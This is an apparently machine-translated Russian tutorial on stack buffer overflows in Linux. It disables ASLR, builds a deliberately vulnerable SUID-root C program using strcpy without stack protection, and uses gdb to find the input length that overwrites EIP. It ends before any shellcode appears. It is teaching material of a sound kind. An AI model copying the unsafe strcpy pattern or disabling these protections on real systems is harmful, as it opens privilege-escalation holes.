В современной ОС Linux вы не можете использовать переполнение буфера без какого-либо дополнительного эксперимента.
Зачем ? потому что вы будете заблокированы ASLR (рандомизация уровня стека адресов) и защитник стека в этом современном компиляторе GNU C. Вы не сможете легко найти память, потому что она попадет в случайную память, вызванную ASLR . и вы будете заблокированы стековым протектором , если попытаетесь переполнить программу.
Для начала вам нужно установить ASLR равным 0
значение по умолчанию 2
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#
в данном случае это не учебник по переполнению буфера в старом стиле, который вы можете получить из интернета. или aleph one tutorial больше не будет работать в вашей системе.
теперь позволяет сделать уязвимость программы в сценарии переполнения буфера
---------------------bof.c--------------------------
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);
return 0;
}
---------------------EOF-----------------------------
считает, что функция strcpy опасна без защитника стека, потому что функция без проверки количества байтов, которые мы введем.
скомпилировать с дополнительной опцией -fno-stack-protector dan -mpreferred-stack-border = 2 для снятия защиты стека в вашей C-программе
root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
root@bt:~# chown root:root bof
root@bt:~# chmod 4755 bof
Переполнение буфера в C-программе со сценарием корневого доступа SUID.
Теперь давайте посмотрим, сколько байтов нам нужно поместить в буфер, чтобы сделать ошибку сегментации программы
root@bt:~# ./bof `perl -e 'print "A" x 400'`
root@bt:~# ./bof `perl -e 'print "A" x 403'`
root@bt:~# ./bof `perl -e 'print "A" x 404'`
Segmentation fault
root@bt:~#
вы видите, что нам нужно 404 байта для ошибки сегментации программы (сбой), сколько байт нам нужно перезаписать EIP ? EIP инструкция будет выполнена после. так что хакер перезаписывает EIP злым инструкциям, что они хотят в двоичном SUID программы. если программа в корне SUID, инструкция будет запущена в режиме root.
root@bt:~# gdb -q bof
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char** argv)
5 {
6 char buffer[400];
7 strcpy(buffer, argv[1]);
8
9 return 0;
10 }
(gdb) run `perl -e 'print "A" x 404'`
Starting program: /root/bof `perl -e 'print "A" x 404'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run `perl -e 'print "A" x 405'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 405'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)
программа ПОЛУЧИЛА код возврата ошибки сегментации. давайте введем больше байтов и посмотрим на регистр EIP.
(gdb) run `perl -e 'print "A" x 406'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 406'`
Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)
(gdb) run `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 407'`
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)
немного больше
(gdb) run `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 408'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
(gdb) i r
eax 0x0 0
ecx 0xbffff0b7 -1073745737
edx 0x199 409
ebx 0xb7fc9ff4 -1208180748
esp 0xbffff250 0xbffff250
ebp 0x41414141 0x41414141
esi 0x8048400 134513664
edi 0x8048310 134513424
eip 0x41414141 0x41414141 <-- overwriten !!
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
теперь вы можете сделать следующий шаг ...